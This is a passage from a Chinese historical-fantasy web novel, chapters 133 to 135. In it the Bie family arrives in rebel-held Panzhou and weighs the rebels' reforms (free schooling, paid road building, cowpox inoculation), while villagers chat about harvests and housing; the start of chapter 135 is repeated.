而马车上的别家人没有表现的那么平静,不提小辈,就说别洵松这一辈,除了别洵松夫妇外,哪个不是提心吊胆,没见在岸口父亲都被给了下马威。 “咱们这算不算刚出虎穴又入狼窝?”孟长舒心里不痛快,实在是别家大房家的哥儿造反,连带着整个别家都要去西南避祸,除开大房能得好处,其余几房能落着什么好。 “盘州是侄儿的地盘,再怎么样也算不上狼窝。”别洵枫辩解一句,再怎么样在自己人的地盘肯定没有性命之忧,瞧瞧现在长安城都成什么样了。 “如何算不上?看别此云对咱们的态度,不像是看重,景和在长安在禁军做事,到了西南,难道别此云敢放心景和领兵?” 不怪孟长舒如此猜测,打天下靠的是什么?当然靠的是兵力,别家就一个能领兵作战的,偏偏不是大房的人。 真要是把兵权交给二房的人,日后天下归心,谁当皇帝还不一定呢。 “此事容后再议,眼下咱们连此云的面都没见着,何必有这些伤情分的猜测。”别洵枫自然也有心膝下孩子的前程,可父亲还没发话,他贸贸然出头,只能得一道数落。 而和长辈忧心的不一样,别景季这一辈倒是有心情掀开车帘看看西南的景色。 虽说一路好山好水也看够了,但都是水路,陆路又有不同,就说眼下走的官道,别景季在长安来往,平日里朱雀大街那条路已经是整个大历最好的官道,可一个小小的盘州,官道竟不输朱雀大街的路。 且官道上人来人往,比不得从前长安城门口的人流,但以西南人口计数,过来做生意的也不在少数。 “就是不知这样的官道单是岸口到盘州城,还是整个盘州的官道都是如此。”别景季其实更偏向前者的猜测,因为修朱雀大街那样的官道,耗费的人力物力不计其数,便是尚柒和此云手中钱财积攒不少,但又要养兵又要造反,肯定不够用。 如何能拨冗钱财任用在官道上。 “想来咱们要在西南留上几年,不愁弄不清楚。”张青浣目光也落在外头,盘州十里开外是有驿站的,而这处的驿站是实打实新修的。 盘州城被占后,土木工程就没有停过,像这样主要以木头搭建供旅客吃喝的驿站,根本费不了多少功夫。 像是荒郊野岭,找不到地方投宿的驿站用料就扎实了,用砖瓦修建,不光能吃喝,夜里还能留宿,这样的地方在大历都是官员才能用,玄甲军却是来者不拒。 因为就半个时辰的路程,队伍没有在驿站停留,但路过驿站很容易看到驿站内客人满堂,其中时有热闹的笑声从里传出来,想必相谈甚欢。 而等马车到盘州城后,马车的车帘都被掀开,城门口的守军个个膀大腰圆,手中持一柄长枪站岗,看着不必长安城门口的差。 来往百姓也都习惯了玄甲军,不想最开始入城个个战战兢兢,到了城内,更是一副井然有序的模样。 按说被乱军占据的城市,一般都萧条的厉害,可盘州城人来人往瞧着跟从前一样热闹,甚至比从前更热闹,哪里有乱军来袭的影子。 若不是街上还能看到着玄甲军军制的巡逻兵,根本看不出有乱军。 “城中竟没有一点乱象。”别洵松细细打量,“此云之前在信中不过略略提了几句在西南的情况,我想着咱们到了盘州城,恐怕要看见一副乱地。” “说明咱们哥儿有本事,你瞧这街上,来往的娘子郎君也不少,可见城内治安也不错。” “尚柒都任用女子为官了,想来不是孤例,若人身安全不能保证,又如何能叫她们走出家门?” “你倒是想的多,西南自乱军出现后,就一直没什么消息传回长安,我想着这会此云不在,或许咱们也可以多看看这些日子盘州的变化。” “自然,此云费尽心思叫景季将咱们一家弄到西南,总不会是想咱们了。”肯定是要别家的帮助,大历开国别家赌对了一回,风光了两百来年。 眼下大历走下坡路,别家另起炉灶,真要成了,又能续上几百年的风光。 很快马车停在一处宅院前,盘州逃走的地方豪强和富户不少,城内空出来的大宅子也很多,大部分都改成公用建筑,小部分拆了,余下几套就是用来招待人的。 别家一大家子,若没有一处大宅院根本住不下,宋月隐在岸口虽然给了别家一个下马威,但做事还是尽心尽力,至少她知道别家除开是别公子的家人外,一个个都学富五车。 连嫁入别家的娘子郎君都不是泛泛之辈,这些人若是任用可解眼下玄甲军的燃眉之急,不过东家用人虽不拘一格,但高位别家占据太多,这玄甲军是谁控制就不好说了。 第133章 “别家到盘州城了。”尚柒收到消息, 算算时间,倒也是赶巧,他和此云都出了城, 本也就出门两三日的功夫。 别此云一顿, 虽然早晓得近些时候必会见家里人, 但真收到他们的消息, 又感觉近乡情怯。 他还不知别家对他在西南造反是什么心思,他既怕别家不支持他,又怕别家支持他只为坐稳世家的椅子。 “咱们可以拖延一两日再回去,想来几日功夫足够别家在盘州城打探咱们的情况,无论他们愿不愿意支持, 想必知道咱们所作所为, 肯定会重新思考。” “连我父兄都不敢说听见咱们行事会百分之百支持, 换作祖父和叔父他们,可能会更糟。”例如阳奉阴违, 为虎作伥。 “眼下咱们连西南都还没收入囊中,倒也不必考虑那么长远。”若他们起义初期别家过来, 还有可能动摇他们的根基, 现在盘州城已经稳扎稳打的拿下, 别家想要插手也要看有没有本事。 “二堂兄向来喜欢领兵作战, 你是否打算安排二堂兄进玄甲军。”兵权如今归樊泊, 樊泊是死心塌地跟尚柒的,虽别此云信任他二堂兄为人, 但又怕二堂兄会被家里人挑拨。 “能用为什么不用?玄甲军不是随随便便能被哄骗去了的,便是你二堂兄当了将军,下面也都是咱们挑选的人。”到底别景和只有一人,而打仗又不是跟朝廷禁军一样, 沾亲带故的人都能拉进去。 “不过是做最坏的打算。”别家能来,是福是祸全看他们的选择,从前在长安别家是规规矩矩辅佐太子,半点不见逾越,可换作自家人造反,又说不好了。 “也别太坏,岳母能够费劲心思将别家从长安送到西南,想是再支持你不过,你若是能说动岳母出面做事,想必也是制衡别家的一种手段。” 别家二房四房什么心思还需要时间才能猜透,但大房,肯定是不会闹幺蛾子。 “哪里用我劝,长安没娘子郎君施展才华的地方,大部分有本事的娘子郎君都蹉跎在后宅,现在若有机会叫她们也一展报复,说不得积极性比父兄他们还强。” 算年纪,她娘今年刚到不惑之年,以大历的眼光来看已经不年轻,但世家中人,没病没灾,不说八十,七十也是能活的。 正该是做事的年纪。 “对了,应州最近情况如何?”说完别家事,尚柒又提及应州,他和此云在盘州露面多时,朝廷那边肯定是不晓得,但风声必然很快传去应州。 也不知应州那群官员知道尚柒和别此云就是他们日日担忧乱军的主谋,会是个什么表情,可惜没看着。 “太平,咱们的消息在应州已经渐渐传开了,原先巴结我的地方豪强这会更是不要命似的给衙门和府里递请柬,想来咱们离开盘州回到应州,还有的忙。” 玄甲军在盘州的所作所为已经能证明的确有本事,地方豪强大多不是硬骨头,就算是知道他们玄甲军不会屯田的政策,也多的是人想要投资。 “如今咱们手里或多或少也有一些地方势力效力,但大多名声不显。”有名声的已经趁玄甲军往中原逃了,哪想现在中原起了天花,可算是虎穴狼窝,哪儿都不是去处。 “民声太显,到咱们手里做事难保不会结党营私,眼下不过是小小两州,咱们虽算不上亲力亲为,但诸多大事都要过咱们的案头,我可不想在小地方先体验一把当皇帝的难处。”他们身边的人手还是太少了,琴砚之前在他身边,倒是帮他处理了不少公务,但日后公务只会越来越多,一个琴砚恐怕不够。 “的确可以挑选一批优秀的人提拔上来。”虽然应州和盘州也在大量修建私塾,争取让年岁不大的孩子都进去读书识字,但真要出来做事,也还要几年功夫。 …… “隔壁是做什么的,怎么还听见稚童念书的声音。”尤其声音不算小,若是家中请先生教学,再多不过十几二十个兄弟姊妹,哪里能有这个动静。 “隔壁是私塾,盘州城人口多,姑爷和公子细划分了区域,各区都有一座私塾供孩童进学。”也是多亏从前富户家大业大,虽逃走的时候基本没留什么好东西在府里,但桌椅板凳都是有的。 改造私塾费时费力,眼下又紧着工坊和修路,盘州这边城里的私塾就只能先凑活,乡下的私塾倒是修的快,瞧着比城里正归些。 “供哪些孩童?”大历能念的起书的孩子屈指可数,听闻盘州城还不知一处这样的私塾,不知有那么多孩童来进学吗? “城内未满十五的孩童皆要去。”不是可去,而是要去,琴砚话落,果不其然看见老大人和老夫人面色微变。 “束脩如何算?”这是要天下百姓都识字,何等猖狂的想法,历来为君者,所行国策莫不过愚民。 百姓不能太聪明,最好什么都不懂,只知道埋头苦干,到了时候交税,用人的时候抽调,像是戏文里的傀儡最好。 “不给束脩。”从前是给不起,现在便是家里能挣钱了,姑爷和公子也没打算收钱,怕是担心一旦要钱,这私塾念书的孩子得少一半。 除开贫困的,就是姑娘哥儿再不能来念书。 “财政吃的消?”别泓一把岁数,在朝廷里,最容易吵架的是什么,当然是钱财,办什么事只要涉及到钱,那不吵个天翻地覆是不可能的。 大历也开办官学,但大部分都是有权有势的人才才能送儿郎进去念书,就这每年还要靠各府私下送些钱,才能叫士子过得好些。 怎么到了盘州,全城百姓的孩子都能念上书?书本何其贵重?笔墨纸砚就是用的再次算下来也不是一笔小数。 按说造反应付军队开销已经很难收支平衡了,怎么还能有钱往别处使。 “私塾主要是给教书先生拿钱,书本和笔墨纸砚都在盘州城建了工坊,都是官营,算来也都是成本价。” 成本价也不低了,但既然给的出这笔钱,肯定手头宽绰。 “沿路过来我瞧着官道都重修了,这是只重要的商路重修,还是整个盘州的官道都重修了?” “整个盘州的官道都要重修,只是眼下人手不够,目前只铺开了白鹤凤来两县到盘州城的官道。” “征徭役?” “给工钱。” 又给钱,别泓一口闷气憋在胸前,其实也不怪他,实在是他没想到此云和尚柒如此富裕,就是别家要一口气拿出这么多银子也都是肉痛的。 更不说这会别家几乎是只出不进。 “琴砚,你且跟我细细说说,盘州的情况。”别泓听得这些惊世骇俗的举动,已经足够他重新改变态度,他的孙儿造反和别家造反差距怎么这么大。 大街。 别景和一早在家里憋不出,拖着别景季出了门,盘州是见惯了富家子弟,这会冒出两个俊秀儿郎,也见怪不怪。 “一路走来,几乎每条街都能看到巡逻的兵丁,我看过,这些兵丁能撑起甲胄,就算是轻甲,也必都是身强体壮之辈,玄甲军比我预想的要强。” 军营待过的人看的地方也不一样,昨日城门口匆匆一瞥,还当是个例,没成想玄甲军的儿郎,当真不俗。 难怪当初王刺史领兵剿匪,被以少胜多了。 “玄甲军的前身是平王在西南养的私兵。”这事不必此云说,别景季自个儿也能猜出来。 “难怪了。” “与其看玄甲军的兵丁,不若看看街道两旁。”别景季更看重民生,别的不说,单单是街道两边摆的小吃摊数量就足够引人侧目。 一个城里能容纳多少商户都是有定数的,例如吃饭的地方,有钱在外吃的客人就那么多,一般县城有一两家酒楼做招待就不错了。 再多,该要有一家入不敷出,小吃摊同理。 一般权贵少有光顾街边摊,多还是寻常百姓图方便,瞧着街两边几乎被占满的街道,可见盘州百姓愿意在小吃摊上花钱的不在少数。 盘州有这么富庶吗? 不怪别景季怀疑,实在是别景季在长安长大,已经见过最繁华的城池,再到盘州,哪怕盘州是西南最繁华的地方,也落了长安不少。 “哪怕最便宜的素包子也要一文,若是一日挣十几二十文,怕是不会花钱在这上头。” 十几二十文花销一文在包子上,听着也没什么,但青壮一日挣这些钱也不管他自己吃,还有家要养。 一文钱一月就是三十文,按长安之前斗米二十文的物价,可买一斗半。 “错了,你瞧街边做生意的大部分都是娘子郎君。”在长安做吃食生意的也多是男子,少有独身的娘子郎君在街上露面。 可盘州娘子郎君多是娘子郎君,就说明了两件事,一是家里的青壮必然是去干比守小吃摊还要赚钱的活,二是盘州娘子郎君出面挣钱已经习以为常。 一家五口,至少有两个做事的,方才供应的起这么多小吃摊。 第134章 “前面什么这么热闹?”别景和个高, 在西南街上行走,可以说是鹤立鸡群,远远瞧着前方百姓成群, 不由的想要一探究竟。 “外来的?”一旁有百姓听得别景和的话, 同人唠起来。 “不错, 才入盘州城, 见哪里都新鲜。” “瞧你们的穿着,该是大户人家出身,这盘州城只有往外逃的大户,还真没见过往里走的。”说话的百姓显然惊奇。 别景季和别景和对视一眼,他们倒是还没仔细打听城中大户的情况。 “前头也不是什么新鲜事, 天花晓得吧, 中原这会又起了大疫, 玄甲军厉害弄出来个什么牛痘,说是给人种上, 便再不怕天花了,军中已经全部种完了, 如今轮到咱们百姓了。” “牛痘?”别景季闻所未闻, 如何就能防治天花了?虽然他知道尚柒是大夫, 医术也是不输宫中御医, 但天花历来多少神医都束手无策, 当真被尚柒一个不及弱冠的大夫研究出来了? “这名奇怪吧,头一次听说都不晓得是什么, 只晓得跟牛有关,我家有亲戚种了,说是用来一种液体抹在创口上,具体的也没说出个所以然, 只是现在盘州的牛痘数量不够,堪堪能将河道附近的几个县城给种了,才轮到咱们盘州城,大家伙都抢着种呢,甚至玄甲军的主公,也就是咱们盘州的土皇帝跟他夫郞,也在百姓面前种了。” 听到尚柒和此云竟然在百姓跟前接种了牛痘,别景季别景和都大为吃惊,君子不立于危墙之下,此云和尚柒眼下的地盘虽小,但论起来也是雄踞一方的霸主,如何能够以身犯险。 但话又说回来,尚柒和此云敢接种,只怕这牛痘就算防治不了天花,也对人没什么害处。 可不能防治天花,又何必大张旗鼓的叫盘州城百姓也跟着接种,便说是心理作用,直接给一碗辨不出药材的汤药即可。 尚家做药材生意,不会拿不出药材。 “堂兄,这事你怎么看?”别景和也有意过去凑热闹,但盘州城接种牛痘都要带本地户籍,外来商人早知道牛痘信息,但因为没有户籍,一个个望眼欲穿,恨不能立刻改籍盘州。 只是历来改籍都不是简单的事,更不说他们是西南其他州的人,入盘州籍也能入,但得先有一套在盘州的房子。 眼下盘州处处都在修缮,便是空出大量房屋,玄甲军一时没说出售,商人有钱也买不着,只能干等着。 “多半有用。”别景季知道此云和尚柒都是务实的人,如此大张旗鼓,甚至百姓说军中都已经全部接种,可见不是骗人的东西。 “若当真有用,此云为何不将牛痘送至长安?” “先不提此云和大历魏氏已经是对头,不该帮大历魏氏做好事,单单听方才那人言,牛痘数量也没那么多,供着军中用完,盘州的百姓也并不是全能轮的上。 算时间,牛痘接种只怕也是北面有疫的消息传到西南才颁布的政策,若是将牛痘送去长安,西南的百姓怎么办?” 现在可不是当圣人的时候,盘州是玄甲军的地盘,又靠水近中原,天花传染性又强,真要一两个人沿道过来,西南也难免中招。 说起来西南也就是比江南之地多了一重地理优势,不代表说西南当真没有后顾之忧。 别景和也懂这个道理,只是在长安时,听闻北面惨状难免忧心,若是太平盛世知晓有牛痘能够防治天花,怕是皇帝也只有供着尚柒的份。 “一路过来,虽只浅浅见识了玄甲军治下的情况,但不得不说,此云和尚柒治理的极好,来往商户俨然比大历的时候还要多。” 世家瞧不起商人,但哪个世家不经商,就是皇帝也想着做生意,可见最赚钱的还是做生意,做生意的人越多,就代表越繁华,这也是为什么长安能成为天下雄都。 “他们二人才到西南几年就有此成就,比起史书上的英雄豪杰也不遑多让。”别景和不得不佩服此云和尚柒的本事。 过来西南的路上,他还得知此云已经是应州的代理刺史,代管整个应州,不声不响的弄到两个州,整个西南又会花费多少时间打下来? 调理好西南,又会花费多少时间收复中原? …… 别泓听了一整日琴砚说着盘州的变化,尤其是征收土地给百姓分田这一桩,一向沉稳的脸上都不由得出现裂痕。 夜幕将至,别泓躺在床上怎么也睡不着。 原上了年纪,夜里本就少眠,白日一遭是彻底睡不着了。 “除开你年轻当官的时候有过这样辗转反侧的时候,上了年纪还是头一回。”别老夫人也没睡着。 “就是皇帝来了,见了盘州的情况,夜里也睡不着。”别泓一把年纪,自问经得住事,但到了西南才多久,就被两个孙辈行事吓的一惊一乍。 “那你错了,单是晓得西南的叛军这么快就占据盘应二州,皇上就该睡不着了。”广运帝治下,倒也闹出过几出谋反的事,不过都是小打小闹,多也是山匪不成气候,玄甲军真要是占了西南去,那就不是小打小闹了,这会子中原正有疫,皇家的气数瞧着是要尽了。 “此云如此行事,是要断世家的根。”别泓说来说起,还是担心别家一蹶不振。 “咱们在长安,太子若登基,也没好果子吃,眼下造反的是咱们孙辈,再差还能比太子差。”别老夫人倒是想得开,也不是说在她眼里荣华富贵不重要,但整个盘州都按新规矩来了,难不成他们别家一来,玄甲军就要改成老规矩。 话虽如此,可别泓还是难以接受,别家传家两百来年,他身为这一代的族长,也算鞠躬尽瘁,不说将别家地位往上抬,但也没跌落门楣。 照孙儿的规矩办,他们别家一准要散,只是夫人的话也不是没道理,真在长安太子登基,别家就不光是没有祖产,阖家能不能保住命,都得看太子心情。 “咱们家便罢了,萧谢王崔柳五家只怕是不愿意的,到时候打去了中原,这些世家联手对付咱们,胜算不大。” 为何大部分造反势力都要得到世家支持,不就是因为世家有人才,有钱,有粮,五个大世家,再算上衰败了些的叶家,真联手,大历皇帝换人做也不是不可能。 “中原眼下遭了灾,元气大伤,各大世家也都跟热锅的蚂蚁似的,往南逃去,再想回北面来,至少也得等天花过去,这便要不少时间,真等他们重振旗鼓回北面,只怕也不如从前威风。” 也亏得天花不认人,突厥那边也免不得染上,不然北面空虚,突厥趁机南下,大历焉能存在。 “开弓没有回头箭,咱们这是上了贼船,虽说在船上不做事此云必然也不会拿我们怎么样,但叫别家其他人从此隐姓埋名,不能施展抱负,岂非是独断专横。” 不说他几个上了年纪的儿子,就是孙辈景季景和一向出色,在人满为患的长安也都是青年才俊,谁见了不夸一句别家教子有方,真叫他们埋没才能,岂能甘心。 更不提眼下是什么机会,是一统河山的好机会,他若非年迈,怕是这会已经豪情万丈,要做出一番事业,不求别的,至少开国功臣青史上定有一席之地。 “你能明白这个道理就好。” “此云尚柒迟迟不归,不就是想要我等看清楚形式。”最初肯定是赶巧没撞上,但要真想礼贤下士,两个主公也该抛弃手中杂事过来迎接,方才能传出君臣佳话。 “不光是你,还有子辈孙辈,虽咱们家几房不至于和那腌臜人家一样,明面上兄友弟恭,私底下什么阴狠手段都在使,但造反的是大房的人,二房四房不见得没其他心思,趁此云他们尚未归来,你要提点他们。”别老夫人上了年纪,什么都看的明白,但膝下子女就不见的有这番七窍玲珑心。 “明日便寻他们过来说话。” 老夫妻间夜话直到月半东移,方才没了动静。 而还在盘州下面县城办事的尚柒和别此云不光收到盘州城里递来的消息,还终于收到中原的消息。 长安眼下已经满城素缟,天花不意外的传染过来了,达官显贵消息灵通该跑的都跑了,平民百姓到了生死攸关的时候才纷纷逃难,已经有不少将天花往四处裹带。 “整个北面沦陷是迟早的事。”尚柒此刻的确是有心无力,若天花来的再晚一些,他手里的牛痘数量更多,说不准能够阻止天花泛滥,偏偏这个节骨眼。 “广运帝没在长安留下重兵把守,防止有疫的百姓出逃,天花往南去基本成必然的局面。”禁军数量不少,哪怕支出去一些也还是一支重兵,但广运帝太怕死了,逃去江南,附近有齐王的封地,若手中无兵,如何防备齐王? “江南江北也有河将两边隔开,只是河水不及中原到西南的凶险,广运帝当真心狠将所有越江的百姓都射杀,或许可能逃过一劫。” “大抵是可能的,江南眼下,几乎能再建一个新朝,这么多达官显贵的性命加在一块,说不得比天下人都要重,不会在乎几个百姓的死活。” 尚柒点头,只是尸体入水,一旦堆积的多了,下游用水的百姓难逃一劫,而且百姓活不下去,必然生乱。 恐怕轮不到玄甲军到中原和大历魏氏开战,中原就有其他势力和魏氏先打起来,到时候玄甲军入中原,和谁争天下,都说不好。 第135章 几日功夫, 已经足够别家将玄甲军在盘州所作所为打听清楚,别泓作为别家做主的人,赶在尚柒和别此云回程前叫来三个儿子, 细细叮嘱莫要做一些出格的事, 尤其是老二和老四。 别家其他人倒也老实, 原在长安虽是显贵, 但也不曾做过欺压百姓的勾当,不然诗书传家,岂非是传到狗肚子里去了。 宋月隐和琴砚一明一暗的招待,也兼职监视别家的一举一动,好叫百里开外的东家跟公子晓得别家的情况, 再判断人什么时候回来。 从早春到初秋, 盘州经历了近几十年的大变故, 但也挡不住盘州的百姓高兴,尤其是白鹤县的百姓, 早先种稻种棉都是听官府安排,每人手里都有地, 一个个心里踏实, 甚至得空还去官府下面安排开荒, 地么自然是越多越好。 只要不是把山头挖空, 叫平日没得柴烧, 哪里都能开地。 加上玄甲军各村都建了水库水渠,新农具也一个比一个好使, 还都是铁打的,种地不知比从前快了多少倍,堆新肥也比从前的肥好使,城里一车车拉到各村的粪水可是起了大作用。 常年种地的一眼就能看出今年田产要比往年高的多, 今明两年的粮食都不愁吃了,甚至还有多的买出去。 “就是不知道这棉花到底干什么使,棉花坊倒是已经建的差不多了,还要招手巧的娘子郎君去做事。” “摸着软和,听官府说不是用来做衣裳的么,也不晓得这样软和的棉花穿在身上什么滋味。” “可不敢想,这棉花多半是给贵人用的,咱们今年攒些钱,倒是能换几匹新布回来,裁几身衣裳。” 布自然是不便宜的,葛麻做的布是百姓常用的,穿着么不能说舒服,但比不穿好。 “可不是,我每回去县里,瞧着街上买肉的摊,就想着秋收后,给了税卖了粮,也买些回来开开荤,家里的陈年腊肉,吃着都不香了。” “是得买些大肥肉回来润润肚子,不过秋收后想买肉,得赶早,我瞧着大家伙手里都有钱了,但县里每天才杀多少猪,一头两头的都不够分,鸡鸭鹅想吃不如买村里人家散养的。” “是这个理,唉,也不知今年粮价的行情,家家户户都丰收,粮价肯定高不了,我还想着攒些钱再起两间屋子,过两年我家大的也就到岁数了,正好说亲用。” “眼下私塾最少都得上到十五,你家大的年岁也轻,不多叫人读几年书,好去县里谋个好差事,这么早说亲做什么?” 自打私塾要将十五岁往下的孩子都送进去念书,村里成亲的都少了,自然私塾也收过了十五的少年人,只是大部分过了十五少有不做活的,少一个就少半个劳力,村里人觉得不划算就给扣下,真要想认字,等弟弟妹妹学了回来,再学就是。 “这么一说也是,我还当家里小子跟从前一样没事在山里野呢,能读书认字自然是好的,但房子也该早些起,不然手里存不住钱又给往别处花销去了。” “哪的话,村里真要是存不住钱的,早破落了,我看你也别光盯着房子,先把该添置的添置好,钱多留两年,若是孩子成亲在县里找到活了,自然该在县里买房,若孩子回村,何不干脆推了老房子重修,一便将下面几个的房子也解决了。” 几个围在一处唠嗑的娘子郎君闻言,倒是纷纷点头,起一两间房子成亲用倒是够了,但也只够给一个孩子用的。 若是推了老屋盖新的,手里有钱的,七八间都盖得,甚至能跟从前地主学,盖个大宅子,一家子就是分家也有地方住。 只是要攒重盖房的钱肯定比挨着房根起房子来的慢,不过成亲都不着急了,慢些倒也不是事。 “还是在县里找份事做来钱快,只是咱们都是个睁眼瞎,字认不得一个,织布绣花也不比城里的娘子郎君,要说卖力气,家里汉子到了农忙的时候又脱不开身,只能农闲的时候看官衙门招不招散工,可惜咱们附近的官道都修的差不多了,再卖力气就得去别处,没有之前方便。” “那养殖场倒也是能去的,鸡鸭鹅群养最怕得病,每日笼舍都得仔细洒扫,鸡屎鸭屎倒也是肥田的好东西,只是要受些罪,尤其是夏天,那味道实在不是人闻的。” 臭味,村里的娘子郎君都是闻过得,不说别的,就说自家的茅房就不成,往年也就罢了,大家伙都一样,茅房再修也修不出个花样。 她们也没富贵人家金贵,用什么恭桶,还在里面添香料,可自从去县里的公用茅房感受过后,村里不说娘子郎君不得劲,连不少汉子都琢磨要不要把家里的茅房改成县里的样式。 旁的不说,一眼看去整洁的不得了,虽说每日都有专门的人打扫,可家里的茅房修成县里这样,每日花时间扫扫也是合该的。 只是条件不允许,同样钱也花不少,当然有些人家咬咬牙也不是不成,但比起茅房,起一间新房子更重要,所以村里人还是想着官衙门能不能在村里也修公共茅房。 “可不是,不过我听说这上面要来人看看养殖场。” “上面?有多上面?” “嘘,别声张出去,我也是家里有人在县衙门做事,方知道一点内情,说是玄甲军的头儿要到白鹤县来。” “玄甲军的头儿是哪个?玄甲军在咱们白鹤县待了这么久,之前还有军爷在咱们村执勤,倒也没说玄甲军的头儿姓甚名谁。” “这我可不清楚,我家亲戚不过是在县衙门的一个洒扫,听得上面的人囫囵说一嘴罢了,哪能知根知底。” “莫说这些没用的,捡要紧的说。” “要紧的都说了,玄甲军的头儿,咱们该称呼什么?皇帝、王爷,总归是实打实的厉害人物,咱们这一辈子也算是得见天颜了。” “可不是,谁能想有朝一日我也能见见皇帝什么样,咱祖祖辈辈都没这个福分。” 这话不假,不说整个大历,就指长安,能见着皇帝一面的百姓都不多,有幸遇上皇帝出宫大祭,那都是重兵把手朱雀大街,广运帝的龙撵也都是厚纱遮着,轻易见不着人。 对其他地方的百姓来说,皇帝还真就只是一个代号。 所以尚柒和别此云绕到白鹤县查看情况的时候,马车附近可谓是人满为患,当然,为了避免有人行暗杀之事,主公过来的消息一传来,就全城戒严。 城中百姓进出也开始盘查,虽费些功夫,但还真查出一些欲行不轨之徒,可见跑走了的富户豪强正视玄甲军为眼中钉肉中刺,不然一般人也享受不到这待遇。 白鹤县的县令是提拔上来的,礼县人,后头被东家征召去清平县做事,因为表现出色就被派遣过来白鹤县了。 起先白鹤县是由蔺肃和樊泊管理,后大军往盘州散去,白鹤县便由新县令做主。 “不少商户因为见白鹤县日子比从前还要后,都举家搬迁过来,眼下白鹤县的人口要比从前多了不少。”新县令晓得最要紧的肯定是人口,东家和别公子一来,就赶要紧的说。 白鹤县日子好,尤其是分地的事传出去,临近的县城百姓再没有不羡慕的,还得是玄甲军动作快,相继拿下其余几个县城,不然白鹤县的人口得翻几倍去。 “今年秋收情况如何?”虽还不到正经收割的时候,但有些人家早稻的确可以割了,玄甲军收税没那么复杂,主要还是商业发展起来了,商税收的不低,农税便没那么高,目前是十抽二,等整个盘州都种上新稻了,或许明年秋税还会再降。 但两成的税已经比从前要少多了,还没有其他杂七杂八的税,今年百姓必然是能过好日子的。 “白鹤县地肥,咱们分田给到个人头上,每家每户都精心伺候,一亩收成是要比过清平县的,只是粮价不比之前,咱们考虑营收,肯定也不会高价收,但也不会过低。” “粮仓修建的如何?”别此云关心这个,等整个西南收入囊中,大军肯定是要在盘州驻扎的,粮仓修建可以说是给大军提供粮食。 “粮仓修建要复杂些,城里眼下赶着工坊先修,所以粮仓的进度落了些,不过主公放心,明年春耕前应该能落成。” “今年秋收的粮食多了的可以往应州方向送去,忠州情况不好,粮价必然波动,但咱们也有在忠州开粮铺的人手,不能断了供应。”粮食不愁没地儿要,多的是百姓吃不饱饭,粮食再翻个十倍差不多才能叫西南百姓不饿肚子。 “是。” 看过白鹤县的情况,尚柒和别此云总算可以歇口气,盘州治下其他县城,因为才拿下不久,情况也就比刚到清平县好些,要想发展到白鹤县这样,怕还要上几年功夫。 最要紧的肯定还是和中原通商,商品来往才能盘活经济,不然光靠西南这点人养玄甲军,够呛。 “若无意外,后日咱们就可返程,算算时间,谢琅差不多也该到了。” “你这是算好了日子,将人赶到一堆?”别此云可不知道谢琅到了西南见着玄甲军背后是他俩,会是个什么表情。 “能一口气处理完,不要分两次,左右人来了也跑不了。” “到时候谢琅揍你,我可没本事帮你。” “夫夫本是同林鸟,大难临头各自飞,不想你我也逃不过这句老话。”尚柒叹气。 “你精通武艺,我手无缚鸡之力,如何帮你,只怕谢琅到时候揍你,都揍不过。” “这是肯定的,谢琅那花拳绣腿的功夫,都不见的能打的动玄甲军里的老兵。” “那我还帮什么,我这头还有一家子人要应付,该是你帮我才是。” “放心,保管他们翻不起什么浪花。” 第135章 几日功夫, 已经足够别家将玄甲军在盘州所作所为打听清楚,别泓作为别家做主的人,赶在尚柒和别此云回程前叫来三个儿子, 细细叮嘱莫要做一些出格的事,尤其是老二和老四。 别家其他人倒也老实,原在长安虽是显贵, 但也不曾做过欺压百姓的勾当, 不然诗书传家, 岂非是传到狗肚子里去了。 宋月隐和琴砚一明一暗的招待, 也兼职监视别家的一举一动, 好叫百里开外的东家跟公子晓得别家的情况, 再判断人什么时候回来。 从早春到初秋,盘州经历了近几十年的大变故,但也挡不住盘州的百姓高兴, 尤其是白鹤县的百姓, 早先种稻种棉都是听官府安排,每人手里都有地,一个个心里踏实, 甚至得空还去官府下面安排开荒,地么自然是越多越好。 只要不是把山头挖空,叫平日没得柴烧, 哪里都能开地。 加上玄甲军各村都建了水库水渠,新农具也一个比一个好使, 还都是铁打的,种地不知比从前快了多少倍,堆新肥也比从前的肥好使,城里一车车拉到各村的粪水可是起了大作用。 常年种地的一眼就能看出今年田产要比往年高的多, 今明两年的粮食都不愁吃了,甚至还有多的买出去。 “就是不知道这棉花到底干什么使,棉花坊倒是已经建的差不多了,还要招手巧的娘子郎君去做事。” “摸着软和,听官府说不是用来做衣裳的么,也不晓得这样软和的棉花穿在身上什么滋味。” “可不敢想,这棉花多半是给贵人用的,咱们今年攒些钱,倒是能换几匹新布回来,裁几身衣裳。” 布自然是不便宜的,葛麻做的布是百姓常用的,穿着么不能说舒服,但比不穿好。 “可不是,我每回去县里,瞧着街上买肉的摊,就想着秋收后,给了税卖了粮,也买些回来开开荤,家里的陈年腊肉,吃着都不香了。” “是得买些大肥肉回来润润肚子,不过秋收后想买肉,得赶早,我瞧着大家伙手里都有钱了,但县里每天才杀多少猪,一头两头的都不够分,鸡鸭鹅想吃不如买村里人家散养的。” “是这个理,唉,也不知今年粮价的行情,家家户户都丰收,粮价肯定高不了,我还想着攒些钱再起两间屋子,过两年我家大的也就到岁数了,正好说亲用。” “眼下私塾最少都得上到十五,你家大的年岁也轻,不多叫人读几年书,好去县里谋个好差事,这么早说亲做什么?” 自打私塾要将十五岁往下的孩子都送进去念书,村里成亲的都少了,自然私塾也收过了十五的少年人,只是大部分过了十五少有不做活的,少一个就少半个劳力,村里人觉得不划算就给扣下,真要想认字,等弟弟妹妹学了回来,再学就是。 “这么一说也是,我还当家里小子跟从前一样没事在山里野呢,能读书认字自然是好的,但房子也该早些起,不然手里存不住钱又给往别处花销去了。” “哪的话,村里真要是存不住钱的,早破落了,我看你也别光盯着房子,先把该添置的添置好,钱多留两年,若是孩子成亲在县里找到活了,自然该在县里买房,若孩子回村,何不干脆推了老房子重修,一便将下面几个的房子也解决了。” 几个围在一处唠嗑的娘子郎君闻言,倒是纷纷点头,起一两间房子成亲用倒是够了,但也只够给一个孩子用的。 若是推了老屋盖新的,手里有钱的,七八间都盖得,甚至能跟从前地主学,盖个大宅子,一家子就是分家也有地方住。 只是要攒重盖房的钱肯定比挨着房根起房子来的慢,不过成亲都不着急了,慢些倒也不是事。 “还是在县里找份事做来钱快,只是咱们都是个睁眼瞎,字认不得一个,织布绣花也不比城里的娘子郎君,要说卖力气,家里汉子到了农忙的时候又脱不开身,只能农闲的时候看官衙门招不招散工,可惜咱们附近的官道都修的差不多了,再卖力气就得去别处,没有之前方便。” 